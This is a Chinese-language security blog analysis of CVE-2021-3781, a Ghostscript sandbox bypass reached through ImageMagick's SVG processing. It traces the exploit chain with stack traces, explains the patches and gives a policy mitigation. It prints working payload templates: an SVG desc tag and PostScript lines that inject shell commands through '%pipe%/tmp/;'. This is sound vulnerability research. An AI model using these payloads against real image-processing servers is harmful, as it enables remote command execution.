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Ghostscript沙箱绕过(CVE-2021-3781)分析

作者:腾讯蓝军 路飞公布时间:2021-10-29阅读次数:2528评论:0

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0x00 前言

Ghostscript是一款Adobe PostScript语言和PDF的解释器软件,被诸多著名应用(如ImageMagick)所使用。

  • 9月5日,海外安全研究员在Twitter公开Ghostscript的安全模式绕过0day,并给出ImagMgick的利用代码,该漏洞可以造成任意命令执行,影响诸多下游应用,当天TSRC紧急对该漏洞进行复现与分析。
  • 9月9日,Ghostscript官方发布补丁代码,但是并没有发布编译程序。
  • 9月27日,Ghostscript官方发布修复后的新版本编译程序。

可以说这个0day是影响了相当一段时间,这个漏洞的利用也比较曲折,值得深入研究思考。这篇文章将完整分析从ImageMagick到Ghostscript的攻击利用链。

0x01 环境搭建及复现

1、影响的范围

https://github.com/ImageMagick/ImageMagick

ImageMagick <= 7.0.11-10

https://github.com/ArtifexSoftware/ghostpdl-downloads/releases

Ghostscript <= 9.54.0

2、漏洞环境搭建

可以在ubuntu 20的环境下快速复现

  1. apt-get install imagemagick
  2. git clone https://github.com/duc-nt/RCE-0-day-for-GhostScript-9.50.git
  3. python IM-RCE-via-GhostScript-9.5.py "sleep 1000" 1.jpg
  4. convert 1.jpg 1.pdf

通过pstree查看进程树,可以看到是GhostScript执行了sleep命令,由此可以确认分析路径。

  • ImageMagick是如何生成参数文件,并且传递给GhostScript解析?
  • GhostScript的沙箱是如何被绕过的?

0x02 ImageMagick

1、分析ImageMagick

这里打算进行源码debug,所以我们从github上下载ImageMagick源码,编译debug版本,进行调试。后面附了整个栈信息,想快速分析的可以直接看栈信息就好了。

一开始看给的poc是生成jpg,以为是jpg文件处理出问题了,其实不然。ImageMagick会自动识别文件类型,通过GetImageDecoder函数获取相对应的文件decoder,这里获取到的decoderReadSVGImage,所以虽然将文件名命名为1.jpg,但是ImageMagick还是将文件为svg文件进行处理。

/tmp/ImageMagick-7.0.11-6/MagickCore/constitute.c

  1. decoder=GetImageDecoder(magick_info);

ReadSVGImage函数是如何处理payload中重要的descimage两个标签?

在ImageMagick/coders/svg.c中搜索到关键词”desc”,来到如下图的位置。

在处理desc标签的时候,会里面内容加一个#,并且写入到/proc/self/fd/3中(当然这里的fd不一定是3,会根据进程里面打开的文件数量而变化)。

  1. <desc>copies (%pipe%/tmp/;{}) (r) file showpage 0 quit </desc>

将上面解析为如下内容,并且添加到/proc/self/fd/3

  1. #copies (%pipe%/tmp/;sleep 1000) (r) file showpage 0 quit

同样搜索”image”关键词,来到如下图的位置。
/tmp/im/ImageMagick-7.0.11-6/coders/svg.c

  1. <image href="epi:/proc/self/fd/3" />

将上面解析为如下内容,并且追加到/proc/self/fd/3

  1. image Over 0,0 0,0 "epi:/proc/self/fd/3"

等把所有svg标签转化成mvg文件的原语了,就接着使用DrawPrimitive函数处理mvg内容,处理的内容如下:

  1. #copies (%pipe%/tmp/;sleep 1000) (r) file showpage 0 quit \npush graphic-context\nimage Over 0,0 0,0 \"epi:/proc/self/fd/3\"\npop graphic-context\npush graphic-context\ncompliance \"SVG\"\nfill \"black\"\nfill-opacity 1\nstroke \"none\"\nstroke-width 1\nstroke-opacity 1\nfill-rule nonzero\nviewbox 0 0 1 1\naffine 1 0 0 1 0 0\npop graphic-context\n

/tmp/im/ImageMagick-7.0.11-6/MagickCore/draw.c RenderMVGContent

其中比较关键的是,在处理到image Over 0,0 0,0 "epi:/proc/self/fd/3"中的image关键词的时候,会认定为是Image,所以接着使用ReadImage函数解析epi:/proc/self/fd/3路径。

这里根据epi协议头,把/proc/self/fd/3当成psi文件处理。

并且ReadPSImage函数会将/proc/self/fd/3的文件连接到input_filename,后面会作为Ghostscript的文件参数。

  1. status=AcquireUniqueSymbolicLink(image_info->filename,input_filename);

最后会被GhostScript以-f 文件名形式调用。

/tmp/im/ImageMagick-7.0.11-6/MagickCore/delegate.c

到这里,问题很明显了,ImageMagick会把SVG部分内容当成PS脚本内容,给Ghostscript调用。

在Ghostscript的解析过程,只要保证恶意代码前面部分是没有语法错误的,恶意代码后面的部分就不需要管了,就能够成功解析恶意代码部分。比如下面PS文件内容,Ghostscript是可以正常执行第一行的。

  1. #copies (%pipe%/tmp/;sleep 1000) (r) file showpage 0 quit
  2. asdasdas xxxxxxx

而ImageMagick巧合会把”desc”里面的内容作为PS脚本的第一行(仅仅加了#这个脏字符,可以进行绕过)。

最后调用Ghostscript的栈信息。

  1. libc.so.6!__libc_fork() (\build\glibc-eX1tMB\glibc-2.31\sysdeps\nptl\fork.c:49)
  2. libMagickCore-7.Q16HDRI.so.9!ExternalDelegateCommand(const MagickBooleanType asynchronous, const MagickBooleanType verbose, const char * command, char * message, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\delegate.c:446)
  3. libMagickCore-7.Q16HDRI.so.9!InvokeGhostscriptDelegate(const MagickBooleanType verbose, const char * command, char * message, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\coders\ghostscript-private.h:198)
  4. libMagickCore-7.Q16HDRI.so.9!ReadPSImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\coders\ps.c:776)
  5. libMagickCore-7.Q16HDRI.so.9!ReadImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\constitute.c:563)
  6. libMagickCore-7.Q16HDRI.so.9!DrawPrimitive(Image * image, const DrawInfo * draw_info, const PrimitiveInfo * primitive_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\draw.c:5549)
  7. libMagickCore-7.Q16HDRI.so.9!RenderMVGContent(Image * image, const DrawInfo * draw_info, const size_t depth, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\draw.c:4433)
  8. libMagickCore-7.Q16HDRI.so.9!DrawImage(Image * image, const DrawInfo * draw_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\draw.c:4474)
  9. libMagickCore-7.Q16HDRI.so.9!ReadMVGImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\coders\mvg.c:239)
  10. libMagickCore-7.Q16HDRI.so.9!ReadImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\constitute.c:563)
  11. libMagickCore-7.Q16HDRI.so.9!ReadSVGImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\coders\svg.c:3678)
  12. libMagickCore-7.Q16HDRI.so.9!ReadImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\constitute.c:563)
  13. libMagickCore-7.Q16HDRI.so.9!ReadImages(ImageInfo * image_info, const char * filename, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\constitute.c:955)
  14. libMagickWand-7.Q16HDRI.so.9!ConvertImageCommand(ImageInfo * image_info, int argc, char ** argv, char ** metadata, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickWand\convert.c:611)
  15. libMagickWand-7.Q16HDRI.so.9!MagickCommandGenesis(ImageInfo * image_info, MagickCommand command, int argc, char ** argv, char ** metadata, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickWand\mogrify.c:191)
  16. MagickMain(int argc, char ** argv) (\tmp\im\ImageMagick-7.0.11-6\utilities\magick.c:149)
  17. main(int argc, char ** argv) (\tmp\im\ImageMagick-7.0.11-6\utilities\magick.c:180)

2、 ImageMagick怎么修复?

那么高版本的ImageMagick是如何修复?这里拿7.0.11-6版本进行调试,是没办法执行恶意命令的。

于是对比上面执行命令成功的调用栈,从栈最深层开始排查,定位哪个关键函数出问题。后面发现是在DrawPrimitive

可以看到路径为epi:/proc/self/fd/3,这个路径在后续的检测函数IsPathAccessible是过不了的。

ImageMagick-7.1.0-8/MagickCore/draw.c

最后通过stat函数检测路径是否可以访问,如果不可以访问就不进入ReadImage函数了。

而有漏洞的版本仅仅检测clone_info->filename不为空。

0x03 Ghostscript

1、分析Ghostscript

Ghostscript我们这里重点关注安全模式下是如何绕过管道命令%pipe%cmd沙箱的?

成功利用的堆栈信息如下:

  1. libc.so.6!_IO_new_popen(const char * command, const char * mode) (\build\glibc-eX1tMB\glibc-2.31\libio\iopopen.c:221)
  2. fs_file_open_pipe(const gs_memory_t * mem, void * secret, const char * fname, char * rfname, const char * mode, gp_file ** file) (\tmp\gsok\ghostscript-9.54.0\base\gdevpipe.c:55)
  3. pipe_fopen(gx_io_device * iodev, const char * fname, const char * access, gp_file ** pfile, char * rfname, uint rnamelen, gs_memory_t * mem) (\tmp\gsok\ghostscript-9.54.0\base\gdevpipe.c:91)
  4. file_open_stream(const char * fname, uint len, const char * file_access, uint buffer_size, stream ** ps, gx_io_device * iodev, iodev_proc_fopen_t fopen_proc, gs_memory_t * mem) (\tmp\gsok\ghostscript-9.54.0\base\sfxcommon.c:94)
  5. iodev_os_open_file(gx_io_device * iodev, const char * fname, uint len, const char * file_access, stream ** ps, gs_memory_t * mem) (\tmp\gsok\ghostscript-9.54.0\psi\zfile.c:1080)
  6. zopen_file(i_ctx_t * i_ctx_p, const gs_parsed_file_name_t * pfn, const char * file_access, stream ** ps, gs_memory_t * mem) (\tmp\gsok\ghostscript-9.54.0\psi\zfile.c:1068)
  7. zfile(i_ctx_t * i_ctx_p) (\tmp\gsok\ghostscript-9.54.0\psi\zfile.c:281)
  8. interp(i_ctx_t ** pi_ctx_p, const ref * pref, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\interp.c:1457)
  9. gs_call_interp(i_ctx_t ** pi_ctx_p, ref * pref, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\interp.c:520)
  10. gs_interpret(i_ctx_t ** pi_ctx_p, ref * pref, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\interp.c:477)
  11. gs_main_interpret(gs_main_instance * minst, ref * pref, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imain.c:257)
  12. gs_main_run_string_end(gs_main_instance * minst, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imain.c:945)
  13. gs_main_run_string_with_length(gs_main_instance * minst, const char * str, uint length, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imain.c:889)
  14. gs_main_run_string(gs_main_instance * minst, const char * str, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imain.c:870)
  15. run_string(gs_main_instance * minst, const char * str, int options, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:1166)
  16. runarg(gs_main_instance * minst, const char * pre, const char * arg, const char * post, int options, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:1125)
  17. argproc(gs_main_instance * minst, const char * arg) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:1047)
  18. gs_main_init_with_args01(gs_main_instance * minst, int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:242)
  19. gs_main_init_with_args(gs_main_instance * minst, int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:289)
  20. psapi_init_with_args(gs_lib_ctx_t * ctx, int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\psapi.c:280)
  21. gsapi_init_with_args(void * instance, int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\iapi.c:239)
  22. main(int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\gs.c:95)

从上面的堆栈,找到Ghostscript代码领域的函数pipe_fopen,函数中如果要成功调用open_pipe函数,会经过的gp_validate_path函数校验,来判断打开的路径是否合法。

ghostscript-9.54.0/base/gdevpipe.c

我们来看下gp_validate_path是怎么检测的?这里主要判断目录开头是否为白名单里面的路径,而白名单里面有/tmp/*,并且使用popen执行,所以可以使用分号、换行、&等符号拼接执行多个命令。也就是为什么poc里面要加/tmp/的原因。

2、PostScript是什么

Ghostscript是PostScript的解释器,用于解析执行PostScript。PostScript跟我们平时接触表示法不一样,是逆波兰式。

操作数在前,操作符在后。就是把2 + 3这种中序表达式变成为2 3 add这种后续表达式。 想了解PostScript可以翻阅文档:https://www.adobe.com/content/dam/acom/en/devnet/actionscript/articles/psrefman.pdf

回到分析中,ImageMagick会在写入的内容前面加一个#号,通过翻阅文档可以找到#copies语法,从而将#脏字符合理化 。

  1. #copies 3 def
  2. (%pipe%/tmp/;sleep 1000) (r) file showpage 0 quit

3、显示执行结果

为了更加直观的查看debug执行情况,我们可以使用如下payload进行回显观察执行命令结果。

  1. #copies 3 def
  2. mark
  3. /OutputFile (%pipe%/tmp/;ifconfig)
  4. (pdfwrite)finddevice
  5. putdeviceprops
  6. setdevice
  7. quit

4、如何修复

修复比较简单了,直接把%pipe%拼接进行,变成%pipe%/tmp/;ifconfig,这样路径不匹配白名单,gp_validate_path验证也就无法通过了。

在这个利用链中,如果单单修复GhostScript的话,还是有一定DoS的风险,因为Ghostscript没有对资源做限制,可以进行DoS攻击。
执行一次即可跑满一个cpu核心,多执行几次最终可以把所有cpu跑满,在一定的场景是有风险的(比如文章ImageMagick使用场景),不过官方不认为是安全漏洞。

  1. <desc>Payload打码</desc>

所以在调用Ghostscript的时候,即使开了安全模式,也并不怎么安全,还是需要严格控制PS脚本内容(安全模式也曾被多次绕过)。

同时建议禁用不需要的coder,比如这次就可以把SVG禁用掉。
/usr/local/etc/ImageMagick-7/policy.xml

  1. <policymap>
  2. <policy domain="coder" rights="none" pattern="SVG" />
  3. </policymap>

0x04 参考

CVE-2021-3781 Commit

Ghostscript SAFER Sandbox Breakout (CVE-2020-15900)

关于Ghostscript SAFER沙箱绕过漏洞的分析

Ghostscript 文档

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